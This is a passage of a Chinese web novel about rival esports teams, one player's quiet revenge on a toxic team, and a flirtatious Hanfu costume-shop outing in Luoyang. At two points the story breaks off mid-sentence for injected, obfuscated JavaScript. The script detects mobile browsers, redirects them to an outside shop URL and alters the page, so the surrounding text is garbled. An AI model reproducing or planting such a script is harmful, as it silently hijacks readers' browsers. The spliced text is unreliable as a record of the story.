“因为刚刚那个人,是个欺软怕硬的人。”说到这,郁秋又一次没忍住笑出了声,接着,他凑到夜雨辰耳边小声道,“而且他也是被QYG孤立的那个。” 夜雨辰挑眉:“你知道的还挺多?” 看得出那人被孤立倒是简单,但郁秋怎么知道这人是欺软怕硬的? 郁秋耸耸肩,不以为意:“我还知道他们炸队的具体细节?” 夜雨辰这倒有些诧异了起来:“你喜欢八卦?” 郁秋会八卦这些小道消息倒是有点出乎他的意料。 “没,我干的。”郁秋从容答道。 思索了一会,趁这个答案夜雨辰还没反应过来,郁秋变得有些踌躇了起来,“嘶……算是我干的吧?但他们炸队也是迟早的事情?” “……”夜雨辰沉默了片刻才淡淡道,“牛逼。” 要是真是他一个人把其他战队搞炸队了,夜雨辰确实还是有些佩服的。 “是他们先过分失礼不尊重对手的,而且恰好在那个时间点我知道了些事情,但其实转念一想,我好像也没做什么吧?”想到这,郁秋懒得想下去了,不以为意地耸耸肩,“反正如果你有兴趣,他们战队究竟发生过什么,我可以全告诉你,恰好我算是目睹了全程。” “反正对待这种不尊重别人的人,有送上门的机会我从不会忍气吞声。” 说着,他神秘地在夜雨辰耳边小声道:“绝对秘辛,联盟其他人包括其他队员都不知道的那种。” 夜雨辰毫不犹豫道:“没兴趣。” 闻言,郁秋只好无奈地耸耸肩,似是因为不能分享这些秘密而感到有些惋惜。 等走到休息室门口,夜雨辰停在门口,微微回头,确保郁秋看不到自己的表情,小声对他道:“先比赛,比赛完有兴趣。” 下一秒,他直接推开休息室的门,跟队友道:“过会比赛,我要针对个人。” “啊?”开开对这个突如其来的提议感到疑惑,“为什么只是针对一个人?就不能把他们队的人全都针对一遍吗?” Qian在一旁疑惑地点了点头。 One笑着叹了口气:“冷静点,我的队友们,我来帮你们针对就好了。” 只有零落有些担心的皱起眉,迅速询问道:“谁?为什么?你们刚刚发生了什么过节吗?” 夜雨辰点点头,面上给人完全看不出任何发生过过节的迹象:“嗯,是谁不清楚,过会上场能认出来,至于过节的话——” “他觉得我是软柿子,好捏。” 所以给这人点颜色看看不过分吧? 90.秘辛 QYG被JYY零封轻松拿下了。 对JYY来说,这是意料之内的结果。他们在休息室收拾好东西准备离开时,墙的另一边突然传出来了不小的砸摔声—— “我不听指挥?拜托教练,你知道他刚刚叫我说什么吗?他叫我去送死!让我去替他死!他这么指挥不就是为了保自己的KDA吗?我怎么可能听他的话!” 教练还没来得及安抚这个队员的情绪,QYG的射手许诺迅速反驳道:“兄弟,咱们都逆台风了,翻盘只能靠射手经济起来,所以那波让你去死来换我存活继续发育,有问题吗?输赢不比KDA更重要?” 第三个队员嗤鼻道:“你哪次不在意你的KDA了?而且你的意思是打野和辅助都在你旁边,他们也都有技能接你,就非要把边路和我卖了?怎么,射手这么人上人到所有队友的命都能管?而且那波他最后绕的位置不好吗?凭什么直接把他卖了?” 第四个队员冷哼一声:“你俩能不能多动动脑子,别老这么小肚鸡肠,动不动就觉得我和许诺在针对你们。他绕得好有什么用,我们有伤害吗?经济落后那么多一点装备都没有,而且对面也不蠢,一直都在防他绕后留技能。” “啊对对对,我心胸狭窄,我以己度人,”第一个开口的队员语气逐渐开始阴阳怪气,“你们指挥一定是对的,不论在哪都要做巨婴皇帝,什么事情都要全部人围着你们转,不然就一定是别人的错。” …… 听着无数段参杂着已经被和谐的脏话对骂声,JYY脸上满是一副意犹未尽、吃瓜吃不尽兴的模样。 开开幸灾乐祸地啧啧道:“急了急了,开始人身攻击了。” 隔壁的吵架还没停歇,但是吵架的主题逐渐改变—— “吵不过我们就又开始扯有的没的了?我就和你妹处个对象而已,有必要对我这么大敌意吗?我都没计较你背后到处给人跟别人乱传我是人渣,你就不能学学我的心胸宽广?而且你不知道你旁边这位不也一直觊觎着你妹吗?” “你都睡粉了,难道我还要夸你是正常人?” “觊觎什么?你挑拨离间能不能找点好点的词,我身边那么多妹妹,一周谈一个都谈不过来,我有必要单吊在一棵树上?” “那之前跟我说想追她的是谁?还有,我都说了那个睡粉的事情我是被污蔑的,我都和她解释清楚了,她也信了你要是实在不想我们谈,你去管好你妹啊?管不住亲妹就怪到你兄弟我头上来了?” “谁tm和你兄弟?畜生!老子亲眼看你去开房的!” …… 这时,一道夜雨辰很耳熟的声音混杂在砸东西的嘈杂声里,唯唯诺诺地开口了:“你们要不小声点吵……” 许诺毫不留情打断了他:“你闭嘴,你最没资格在这说话。” 小奕瞬间噤声了。 许诺冷声道:“不让他们吵,就等着他们都去和你私下说,然后你再把两边的秘密往外一传十、十传百?” 小奕反驳:“我没……” 许诺完全不给对方解释的机会:“小奕,这个队里最不配说话的人只有你。” …… 过了数分钟QYG还没停战,在隔壁偷听的JYY就直接被他们主场的工作人员迅速“赶离”了现场,所以他们很遗憾地没来得及听完全程,只听到了工作人员小声叨叨道:“这几个小屁孩太折磨人了。” 等夜雨辰回到休息的酒店后,整个房间只有他和郁秋时,一回想起他一天听到的关于QYG的传闻,他就不禁感叹道:“这个队的关系,好复杂。” 回来的路上,虽然他因为晕车没有和队友们聊天,但是他也听到了这个战队的一些传闻——QYG一半以上成员都沾染过造谣他人、脚踏数条船甚至嫖和赌的不良嗜好。 “那可不。”郁秋直接倒在床上,对这些事情的炸裂程度像是习以为常的模样,“整个队几乎凑不出一个正常人。” “……”夜雨辰顿时想起赛前郁秋跟他说的‘绝对秘辛’,再结合他听到的这个战队的传闻,不禁质疑地看向郁秋:“你真的知道他们队炸队的原因的?” “当然。”郁秋点了点头,“最开始,他们家边路喜欢带自己的亲妹妹打游戏上分,所以除了俱乐部硬性规定队内一起五排练习,平常他们队内排位都会把小奕——也就是骚扰你的那个人排除在外,把辅助位置留给边路的妹妹玩,其余三个人对这一举动表示无所谓,可能因为他们也常常这么干,所以这算是小奕被孤立的开始。” 夜雨辰一边听着郁秋的讲述,一边开始收拾自己的行李。 “然后过了一段时间,就是基本的网恋步骤——一起打游戏到日久生情。他们家中野开始对妹妹产生浓厚的兴趣,想追,边路知道以后,就十分严肃地和妹妹说这两个人的为人不是什么好东西,游戏归游戏,不要谈感情,他只是带她来免费和队友们玩的。” 本来准备换下队服、衣服已经掀起一半的夜雨辰听到这句话手一顿,诧异地回头看向郁秋,却直接和他撞上了视线对视:“……?” 脑子宕机了一瞬,但他现在也没心思去思考郁秋这家伙是不是趁自己背过去的时候一直盯着自己了:“这是他对他妹说的原话?” 职业选手干陪玩,这种‘私活’一把一个人都要两三百块钱起步,可这个边路如果真就这么直白的对他妹妹说这种话出口,简直给人一种把队友当免费劳动力白嫖的感觉。 郁秋似乎是心虚地幽幽瞥开视线,站起身装作忙碌的给自己倒了杯水:“对啊,他直接说她和队友们一起玩不用花钱还能上大分,免费的陪玩,而且大家也刚刚好都是哄着她玩的。” 说到这,他没忍住笑了出声:“结果又过了段时间,他才知道他妹和打野已经谈了一段时间的地下情,更气人的是,她还对边路说,‘那个打野根本不是你说的那样的人,他是个很好的人。’” “……”夜雨辰已经趁着郁秋喝水的空隙迅速换好了衣服。他顿时有些语塞,“等等,我记得你们刚刚在车上说他睡粉的事情是真的吧?” “真的。”郁秋点了点头,看到夜雨辰已经换好了衣服,眼里闪过一抹惋惜,“所以在听到自己亲妹妹说这句话后,边路顿时就被气炸了,第一时间去找这个打野要说法,但没想到找打野吵架的时候中单也在现场,中单一听说妹妹和打野好上了,自己完全没机会,中边两人就联合起来和打野在训练室吵了起来。” 他靠着吧台,边玩着矿泉水瓶边讲道:“射手是后来到训练室的,他都没听他们吵起来的原因,二话不说就站在了打野那边,因为他早就知道了打野和那个妹妹在谈。不过他趁着吵架的时候,似是不小心直接说出了这边路背后吐槽过中野人品有问题的话。” “等等……”夜雨辰听得不禁揉了揉太阳穴,手上忙碌的事情也不知不觉停了下来,“所以相当于是他们家中边是因为女生被打野谈了联合在一起想拆散,野射两人则是‘爱情保卫战’所以吵起来了?但俱乐部不会管这些吗?” 郁秋耸耸肩:“这个我就不清楚了,反正按照刚刚他们教练那么久都没拦住吵架的情况来看,现在这个队估计已经失控到彻底了吧?” 说到这,他突然想起来:“不过这是小奕在战队呆得最舒服的一小段时间,因为一开始两边吵得不可开交的时候,他成为了中间拉架的人,但他其实从没有试图调和过他们关系,因为他们吵的太凶,他怕自己被殃及。” “所以他两边关系都端着水,两边人也都会去找小奕去说对方的坏话甚至一些不为人知的秘密。” “直到有一次谁吵架吵漏嘴了,把一个他本不该知道的别人的秘密道了出来,对方就开始诧异这人怎么知道自己秘密。” 听到这,夜雨辰大概猜到了一些后续,不禁扶额道:“假期最多就三四个月吧?这队人的生活怎么比我这十几年过的还精彩?” “你的人生一直都很精彩。”郁秋笑着继续讲道,“那次是他们难得的和睦,因为去找这件事的泄露的根本原因,结果四个人就发现小奕在玩碟中谍,都和自己说‘我只和你关系好,放心,我绝对不会说出去’类似的话,然后一边和其他人说这些话。而且说这就算了,他还对其他战队的朋友说自己战队内部关系不行,他自己全程只是受害者,好想等合同到期换战队怎么怎么样。” “牛逼。”夜雨辰下意识感叹出声,“一个人同时背刺了四个队友。” 怪不得他下午听他吐槽队友那几句话的时候就听得浑身发刺,也怪不得有人说小奕在队里是最不配说话的那个。 既不给队友拉架调和关系,一直以一副旁观者的视角看戏,还向外宣传自己的队友都已经出大问题,自己只是个无能的受害者。 不过,“合同”这个词顿时也提醒了夜雨辰:“那这些事情都让他们没办法互相信任彼此了,而且炸队也发生在假期和转会期的时间内,那为什么有些人不趁机转会?” “转会?”郁秋没忍住笑道,“他们的合同如果在现在转会,得付违约金的,他们可没这个钱,有一两个虽然付得起,但其他战队不是看不起就是试训没过,根本没机会换。” 各个职业联赛的违约金可是六位数起步甚至七位数,就凭那些刚成年就出来打拼的青年,根本没几个能做到一口气就掏出这么多钱来赔付。 夜雨辰还是觉得这些故事过于离谱,特别是俱乐部也没有多大的作为:“那换队员上场总可以吧?” 郁秋猜测道:“首发队员的成绩比不上场的人好很多,他们替补也就只有一两个,所以估计这一轮比赛QYG俱乐部也在斟酌到底要不要把这几个人换下场吧?毕竟俱乐部更看重成绩,有成绩才有曝光,然后有高收入。其实职业里的B组甚至是A组的俱乐部,都没你想象中的有钱,想换就换队员对这个战队的经济条件来说还是有点吃力的。” “……” 夜雨辰走到郁秋身边,把另一瓶矿泉水拿过来喝几口冷静了些许后,才不禁评价道,“知道的这么多还这么详细,你适合去把小柯的八卦活抢了。” 郁秋感到无奈:“每个战队每个队员的一些料,都容易在不同小圈子传开,而QYG这个事情,我知道这些只是因为我刚刚好和一个小圈子有点交道,恰好听到一个局中人讲述罢了。” 夜雨辰抬眸看向郁秋:“什么圈子?” 郁秋简述道:“拿GloryK的顶端局来解释,我们会根据各自的爱好或是职业分为不同的圈子,比如职业圈、打手圈、陪玩圈、主播圈……” “而这个游戏还有些小众但实力不俗的圈子就比如老板圈、富婆圈、导演圈等等,其实具体有多少个我也不太清楚,因为熟人主要混在前两个圈,然后许诺的对象也在富婆圈。” “……”想也不用想夜雨辰就知道了这个熟人是谁,“又是Kimi啊?” 郁秋点头。 “Kimi在代打圈、富婆老板圈这些都是名声响亮了已经,而且她和许诺的对象关系挺好,许诺的对象又和QYG的那个妹妹关系不错,所以几姐妹自然而然就拉了一个群常常一起玩。” “但上赛季的时候,Kimi听说我们被QYG在比赛场上面嘲后,有天假期她就问我要不要来吃瓜,然后就给了我一个小号把我拉进讨论组,听许诺的对象和那个边路的妹妹分享这个队里杂七杂八的事情了。” 常常听到郁秋提起这个女生,虽然知道他们俩并没有那种恋爱关系,但夜雨辰心里还是不太舒服,小声嘟囔道:“你一有事就找她,就像百分百无条件的信任她似的。” “嗯,是的。”郁秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郁秋摆了摆手:“不用纠结这个,反正随便一搜的事情,放心,合法的,邱子幸也想搜的,但他搜不到是因为他是废物,只有捂嘴媒体的能力。QYG战队其他人一些不正常行为我也是一搜就搜到了,然后也顺便用其他方式给这个战队比较大嘴巴的人发了一些,所以就算是那个人下午给你发牢骚,估计你也听不到多少好东西。” “……”夜雨辰其实才不关心QYG有几个正常人,他其实对郁秋的做法有些感到意外和新奇道,“你根本不像一个会去专门花时间把一个队关系搅浑了的人。” 感觉这和他一个月以来认识的郁秋有些不一样。 郁秋无奈摊手,好笑道:“怎么可能?我一直是个睚眦必报的人。他们在赛台后除了游戏技术,可是顺便连带家人、未来伴侣、以及一些有关男人的尊严都顺便骂出口了,行为和言语早就过我底线了,我这只是一个小小的报复。” “睚眦必报?”这个词让夜雨辰没忍住发出一声嗤笑,满是不信,“乌宁?邱子幸?” 这两个人应该是他已知里这几年把郁秋害的最惨的两个人,也不见得他报复几下? “报复这种东西,有时候不必在明面上,有时候不必讲出来,有时候则是……时候未到。”郁秋伸了个懒腰,“如果把乌宁的行为当作嫉妒我的实力的话,那我和他同时进青训营,我却比他早了两年的时间毕业,这已经算个小小报复了,何况他……” 说到这,他似无意地看了一眼夜雨辰,然后便垂下眸,藏住眼底不知道是名为庆幸还是于心不忍的情绪。 但他瞬间就将这股复杂的情绪迅速压了下去:“至于邱子幸的话,他处理起来有点麻烦,外界的声音反正对我也造不成任何伤害,还能顺便把他气个半死。所以先在游戏里把他打趴下就好了,反正这个赛季我们有机会做对手,毕竟他还是污蔑了我不少东西,比如说我是游戏菜鸡。” “游戏的顶尖赛场上是绝对公平的,赢了就是赢了,输了就是输了,他能在各个俱乐部动手脚,但比赛台上的胜负可不行。” 夜雨辰皱眉道:“游戏菜鸡……但你刚刚好上台就会发挥不好和紧张,这个问题你怎么解决?” “是会,我还是控制不住常常失误,就算这三场比赛里我还是出现了不少我不想出现的失误,但我现在身处的战队环境,和以前完全不一样了。”郁秋看着夜雨辰的眼神逐渐变得异样,“我现在的队友,其中有个人,可是我打职业以来的梦——” “喂,郁秋。” 这时候,夜雨辰的手机响起一道短信提示音,他立马打开查看短信内容,面色瞬间阴沉了下来。他直接打断了郁秋,并把手机短信展示给对方看,冷声质问道,“我记得,我们定购机票的负责人是冷姐吧?” 郁秋本来被打断话有些不快,但他随意扫了一眼短信内容后,脸上并没有太过意外,反而不悦都被满意的笑容所替代。他不由得赞叹道:“她效率真高。” 看到这个反应,夜雨辰的面色更加阴沉了,也猜到了为什么自己的机票突然会发生这种情况,咬牙道:“‘互帮互助’?” 短信上面的内容,是洛阳飞回上海的机票的时间从明天改到了后天中午。 “是这样的,”郁秋干咳两声,迅速解释道,“你想想,这周我们全胜,而且没比赛了,明天又是周末,下场比赛在下周五,接近一周的空闲时间,空出明天一天来放松放松不过分吧?” 夜雨辰面色阴沉地看着郁秋,没有说话。 郁秋莞尔道:“而且我们也大老远的在各城市奔波,不欣赏下沿途的风景,体验一下各城市的风土人情,不挺可惜的?毕竟来都来了。” 夜雨辰眸光波动了一下,但脸色依旧没有好转。 郁秋的语气突然开始带着一丝难过和委屈并带着恳求的眼神看着夜雨辰:“而且,你上周也因为临时请假回家,冷暴力了我,对我的心里造成了极大的伤害。所以明天,你陪我去放松放松,权当抚慰我受伤的心灵,可以吗?” “就只有我们两个人,没其他人。” 91.衣服 “不去。” 夜雨辰毫不犹豫地就拒绝了欲求的出行邀请。 兴许是没想到自己会被这么拒绝得如此果断,郁秋诧异道:“为什么?” 夜雨辰冷声道:“首先,虽然上次我没回你消息是我的问题,所以我也说欠你一个‘条件’,但我希望你是提前通知我一声你的计划,再把我的机票改期,而不是先斩后奏。” “我不算很讨厌强迫,但是明天先不说我有没有已经安排好的其他计划,就算我们真的去玩,预算、地点、美食……这些我都没有做一丁点的攻略和准备,我不喜欢没有准备的出门旅游,容易浪费时间。” 夜雨辰是个时间观念很强的人,而且从小就养成了旅游前安排好大致计划的习惯。 所以他很不喜欢郁秋这样不动声色地、自作主张的帮他突然改变明天的安排计划。 不知道是不是感受到了夜雨辰言语里夹杂着的怒意以及醒悟到了自己的过失,郁秋瞬间变成一副知错的模样,双手合十高举头顶,低头下跪满是诚意道:“夜哥对不起,下次比赛完绝对提前通知您一声再改票,明天我绝对不会浪费你的时间的,我可以把计划安排在过会全数做好,预算消费也全都算我头上作为我这次自作主张的赔礼,您看如何?求您明天和我一起去吧。” “。?” 第二天上午,夜雨辰心情复杂地跟在郁秋身后,被带进了一家街边的店门里。 一回想起郁秋昨晚那副突如其来且满是诚意的道歉,夜雨辰心底里就再也无法升起被临时改机票的怒意,即使他是一副看似勉强的模样答应了郁秋。 反正这是一趟有计划且免费旅游的机会,不答应是傻子。 而且这还是个二人约会的机会。 不过,昨晚郁秋做好攻略后,他又神神秘秘的不给夜雨辰看,只是说一定有充满让他满意的“惊喜”。但反正是玩,有信任的人安排好计划也行,所以夜雨辰索性也没去过多问。 但他真的没想到,大清早的第一站不是想象中的所谓的博物馆、应天门、爬山那些,而是——一家汉服妆造店? 店内已经陆陆续续的有好几名男男女女顾客正在梳妆台上打扮或是在镜子前欣赏着自己的装扮。服务员一看到新进的两名客人一前一后进了门,立马挂上标准的招待微笑赶到了二人,准确来说是郁秋的跟前:“欢迎光临,这位小姐……额,咳,小,小哥哥?请问您有提前预约吗?” “噗。” 夜雨辰没忍住发出一道极小的笑声。 他瞟了一眼杵在原地、对此没做出任何反应的郁秋的后脑勺。 是因为头发太长故被人家看走眼了吗? 郁秋仿佛刚刚并没有听到店员不小心喊错的那道称呼,从容地和店员沟通着:“有,昨晚预约的,手机号码是——” 夜雨辰心里不禁暗暗叹了口气。 好可惜,第一次听到有人这么称呼郁秋,但没看到对方脸上第一时间的表情反馈。 在登记完二人的身份信息后,店员将他们带到了汉服挑选的房间里:“你们先选好想穿的汉服,等换好后我们再来商量妆造。” 房间里摆放着各种款式五彩斑斓的汉服,但夜雨辰也是第一次来这种地方,所以他好奇地环顾着衣架上挂着的各类衣服。 “服务员,我有个问题想问一下。” 突然,郁秋带着笑意的声音传进了他的耳朵里。 不知道为什么,听到这句话,夜雨辰心里顿时升起一股不详的预感。 只听郁秋幽幽道:“你们这里可以‘男穿女装’吗?我看我兄弟挺喜欢的,他在好几条女装上目不转睛的。” 夜雨辰:“?” 他瞪大双眸看向郁秋,只见对方的脸上正挂着如沐春风的笑容。 郁秋似是察觉到了夜雨辰的目光,不经意地微微偏头和他撞了下视线,并视若无睹对方满是杀意的双眸,嘴角挑衅地向上一勾,再将视线重新放回店员身上。 “……” 夜雨辰的脸色逐渐黑了下来。 虽然他们俩的对视只有一刹那,但他立马就领悟了郁秋搞这一出戏的意思—— 笑我? 店员一听到郁秋和夜雨辰有这个业务需求,眼里立马闪烁起金色璀璨的两眼光芒,满是兴奋道:“有的客户有的,您看那几位正在梳妆台上的客户,他们就正做着和这相关的业务呢!” 她信誓旦旦地对着夜雨辰拍了拍胸脯:“小哥哥你放心,我们家店的妆造技术可是在小众点评、大蓝书等社媒APP上被众多顾客打满五星好评,并被称为‘洛阳最强换脸技术’的门店。而且您的容貌如此清俊,经过我们的改造,保证最后的出妆是貌美如花、艳绝四方的黄花大闺女!” “???” 夜雨辰瞳孔地震。 还没等他来得及开口想好怎么拒绝,说上头的店员,走到女装衣架旁从里抽出好几件款式颜色的衣服展示给夜雨辰看:“小帅哥,你看看你更喜欢哪套?这是‘俏皮小姐’、这是‘红衣女侠’、这是‘西域汉服’、这是‘高雅旗袍’……” 郁秋在一旁仔细端详着每件店员挑选的一件又一件衣服,郑重其事道:“这两套我觉得很适合他。” 这两套风格清冷高雅又不失性感的韵味,感觉很适合夜雨辰。 店员一下抽出这两套衣服:“真的吗?!” “……?” 夜雨辰看着这两套衣服,一件肚子镂空、一件紧收腰身且会露出大半条腿,眼角抽了抽。 他深吸一口气,下一秒,他便一脚狠厉地把郁秋踹倒在地,然后快步从男士汉服的衣架上随意挑了件看上去还挺顺眼的白色汉服后,恶狠狠地瞪着正从地上泰然自若爬起来的那人,一字一句地咬牙切齿道:“郁小姐,你想穿女装不必拉着我一起下水。” “砰!” 说完,他就一把关上了更衣室的大门。 店员被夜雨辰的吓得吞了口唾沫,有些无措地看向已经爬起来的郁秋:“小,小哥哥,您还好吗?” 郁秋拍了拍身上的灰,笑道:“没事,习惯了。” 店员小心翼翼地试探道:“那请,请问您还需要‘女装’业务吗?” “我穿女装吗?”郁秋这才将视线扫过房间里的全部服装,接着,他满是嫌弃道,“我还是更喜欢那种囚犯或太监款式的汉服,你们这有吗?” “……?”店员有些为难地擦了擦汗,“不好意思小哥哥,我们这边暂时没有这些款式的衣服。” 郁秋皱起眉,但他还没来得及开口,店员就迅速开口道:“不过小哥哥,您朋友刚刚挑选的那套汉服,有另一套配套的现在暂时还未租借出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188489|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我看那套挺适合您的,您要不考虑试试?” * 更衣室里,在夜雨辰第五次换完这套衣服、对着镜子看到自己的模样后,再次不耐烦地把刚绑好的所有衣带一层层解开。 又一次去解这一个又一个的绳结,他逐渐失去了耐心。 郁秋为什么有穿汉服的想法,麻烦死了!特别是这好几层看上去完全一样的衣服和这么多根绳子到底怎么系啊?! “咚咚!” 这时,他的更衣室门被敲响了,门外响起服务员的声音:“小哥哥,你好久没有动静了,是遇到什么麻烦了吗?需要帮忙吗?” 夜雨辰低着头,烦躁着解着一个个绑死的绳结:“有点,这衣服麻烦。” 店员一听到客户遇到了困难,便在门口试探性问道:“请问我现在方便进来一下吗?” 夜雨辰边解着绳子边背过身对着门:“进吧。” 身后顿时传来一道急匆匆的开门关门声,紧接着,一道森冷的嗤笑声从身后响起—— “夜小姐,一套这么好看的衣服怎么被你穿成了这样?” “?” 听到服务员的声音从女声变成了熟悉的男声,,夜雨辰的手一顿,缓缓侧头看向身侧的全身镜,镜子里,门上正靠着一个人看着自己。 郁秋的眼底深邃如渊,看不清任何情绪,搭配着他身上的半臂圆领黑色劲装,给人一种难以言喻的肃杀感。 夜雨辰察觉到了一丝不对劲,微微皱起了眉。 他看上去有点怪怪的。 不过,他注意到郁秋的衣服上印着些许若隐若现的暗紫金色花纹,样式和自己身上这套蓝金色花纹十分相似。 夜雨辰转过身,顺手把已经滑到胳膊上的外衣重新扯回肩上,脸上全然没有一件衣服都穿不好的尴尬神色:“你进来干什么?” 郁秋的目光上下打量着夜雨辰的穿着,接着,他发出一股嗤笑并朝他迈去:“听说有人需要帮忙换衣服?” “……” 夜雨辰瞬间猜到了对方进来的用意,心底里升起一股不好的预感,防守性地往后退了一步,“我叫的是服务员,你是?” 郁秋脚步没停,一步步地向夜雨辰逼近,一字一句道:“男女授受不亲。” “喂,等等……”夜雨辰后知后觉地感受到对方身上的低气压。他有些慌乱地后退了几小步,但更衣室的空间也就那么大,他的后背一下子就死死地抵在了墙上,退无可退。 他摸了摸身后的墙壁,吞了口唾沫,缓缓抬眸,眸光波动着看着停在自己跟前、正朝自己伸出双手的郁秋,尽力维持着面上的平静:“什...什么授受不亲?我这不是穿着衣服吗?你想哪去了?” 不然他怎么可能叫别人随便进来? “哼。” 下一秒,他的外衣滑落在了地上。 “你……” 看着郁秋的举动,夜雨辰的呼吸有些紊乱,脑子陷入短暂的空白。 脖颈上还残留着刚刚对方褪去自己外衣时,指尖蹭过的凉意。 郁秋暗淡的眼神和夜雨辰有些无措的眼神对视着,但他的手上,正搭在夜雨辰的肩上,手指不停地在上面摩挲着。 半晌,他气笑了:“夜雨辰,你里衣和中衣都穿反了,叫别人进来和脱光重穿有什么区别?” 92.调戏 ……穿反了? 夜雨辰低下头看着自己身上的两层白色薄衣,耳根逐渐泛红。 看不出来,但是—— 他一把拍开郁秋一直搭在自己肩上的手,没好气道:“你有病啊?穿反了我就不能叫别人出去自己穿?” 里外层穿反而已,好声好气地提醒一下他不就好了?有必要把他堵在墙边吗? 而且还贴得这么近,搞得他现在随便动一下都能碰到郁秋的衣角。 郁秋不禁嗤鼻道:“自己穿?” 话音刚落,他便俯下身,几缕发丝蹭过夜雨辰的面颊,下一秒,夜雨辰便感到腰上的紧束感倏地一下松了开来。 夜雨辰逐渐瞪大双眸:“???” 他的心跳随着腰上紧束的绳结被拉开的刹那漏跳了一拍,在脑子还没反应过来时,他耳边响起一道低沉的冷笑声:“衣绳绑的位置都不对,你想怎么自己穿?” “@#%¥&!!!” 根本来不及思考郁秋说了什么,夜雨辰像是差点被扒光实行侵犯的挣扎猎物,下意识地一把用力推开郁秋并拉紧自己身上的衣服,顺便又往身后的墙边小角落缩了缩,大声怒骂道,“你神经病吗?!衣服我会自己脱的,不需要你帮我!” 开什么玩笑,要是这两层衣服像刚刚外衣一样再被他随手一扒拉丢到地上,自己身上就没衣服了! 郁秋直起身俯视着他,挑了挑眉:“你的意思是要我帮你穿?” 夜雨辰更炸了:“不需要!你给我出去!” “……” 感受到夜雨辰的怒意,郁秋若有所思地看着对方数秒后才有些不情不愿地转过身,但走到更衣室门前,他又迟迟没打开门出去。 夜雨辰见他面门一动不动,咬牙道:“我说你出——” “不出。” 郁秋低下头戳着门板,闷闷道,“你这些衣服都不会穿,过会还不是得叫别人进来帮你?” 听上去甚至还有些委屈。 夜雨辰一噎,有些无语:“叫别人进来也只是给个示范就行,又不是我脱光让别人帮我,我不至于蠢到学不会。” 只是这是他第一次接触汉服,所以一时没有琢磨透这种款式的衣服罢了。 郁秋更加闷闷不乐了:“可我也会,为什么不能我教?” 夜雨辰明显不信:“教人需要直接把我衣服扒了?” 郁秋更加委屈了:“我只是想看看你里面有没有穿反,可能是因为想着外面挺多人排队等着更衣室空出来,所以我想着我们动作速度快一点,结果有点急不小心直接上手了。” 夜雨辰陷入了沉默。 确实,他为了研究这种衣服,已经占了这间更衣室快十分钟了。 郁秋继续低着头,意有所指道:“而且我第一次穿这种衣服的时候,理清这些衣带绳子的时候也花了不少的时间……” “……”一听到自己已经占用了公共空间不少时间,如果继续研究下去这衣服还可能花不少的时间后,不喜欢因为自己原因而耽误到别人时间的夜雨辰只好勉强妥协道,“行,你来,你绑,但你现在先别面门思过。” “?” 郁秋一愣,回过头诧异地看了过去。 但还没等他来得及问‘别面门思过’是什么意思,夜雨辰就接着冷冰冰道,“你头给我抵死门角去,保证余光看不到一丁点镜子的角为止,等我把这两层衣服换回来后你才能转过来。” 郁秋:“……” 哦。 * 几分钟后,郁秋神清气爽地从更衣室里出来,终于换好衣服的夜雨辰跟在他后面,虽然他面上一脸平静,但脖颈直至耳朵满是迟迟不退的绯红,呼吸也还有些紊乱。 他随意地扫了眼外面排队的数个人,就恍惚地被服务员拉到了化妆台前,耳边隐隐约约的听到了服务员滔滔不绝地什么“帅……配……”、“……微信……”、“衣服……富家小少爷……贴身侍卫……”和什么拍照。 听不清,听不懂。 他的脑子里现在全是乱麻,脑海里不断地闪烁着更衣室里的画面—— 窄小的空间,一个人半单跪在自己面前,纤长的十指小心翼翼地整理着他一层又一层的衣服,系着一束又一束绳结,其黑色袖口上的金色竹纹闪得他眼花缭乱。 指尖时不时的不小心地触碰到他的身体——锁骨、胸口、腰……被轻点或划过的地方总是又酥又痒,特别是绳结的位置是打在腰部的位置,所以郁秋的指尖总会不小心地碰到他。 “唔……” 夜雨辰像触了电似的全身控制不住轻颤了一下,手下意识地搭上了郁秋的肩膀。 不知道是不是错觉,有时候他好像还被捏了几下? 不过每到这时,郁秋就总会皱眉,来一句被干扰到工作的责怪:“别乱动,又系松了。” 然后,他就重新解开了刚快绑好的绳结。 一看到似乎已经系好的绳子被重新解开,想着节约时间的夜雨辰只好咬紧下唇,强忍着腰上传来的酥痒,尽量保证自己不再发出过大的动静耽误郁秋。 宽衣解带、整衣束带…… 不知道是不是因为现在看到的都是古装的缘故,他的脑子里莫名其妙蹦出来了一个词——侍寝。 就这么过了好几分钟,他的内心深处逐渐升起了一股难以言述的感觉,像一股想立马做些什么或让肌肤触碰些什么的冲动。 不上不下的感觉让他眼前逐渐弥漫起一层薄雾,夜雨辰有些沙哑地喃喃道:“郁秋,你是馋我的身子吧?” “……?”郁秋的手一顿,抬头好笑地看着他,“怎么突然这么说?” 夜雨辰喉咙干涩道:“那你老碰我干什么?” 郁秋站起身,顺便帮他整了整外衣的衣领和轻纱披风,指尖好巧不巧地在白里透红的锁骨上轻轻划过,无辜道:“你别污蔑我,我只是帮你把衣绳系好顺便整理了一下而已,怎么就变成老碰你了?换别人来也是这样的,不整理好衣服过会在外面走路的时候容易不舒服。” 真的吗? 夜雨辰抬头看着郁秋,半信半疑地哑声了。 但总觉得哪里不对劲,而且他现在有点无暇想这个了…… 他缓缓吞了口唾沫:“那昨晚我换衣服的时候你为什么一直偷盯着我?” “嗯?” 郁秋微眯起双眸,直直地看着他,没有回答。 两人对视了好几秒,夜雨辰有点受不住这炙热的目光,视线幽幽地往一侧挪去。 周身的空气逐渐变得黏稠了起来,他的呼吸愈发厚重,鼓膜不断地响彻着震耳欲聋、杂乱无章的心跳声——紧密丝合,没有间隙,就像两个不同的心跳完美地填补了对方声音的留白。 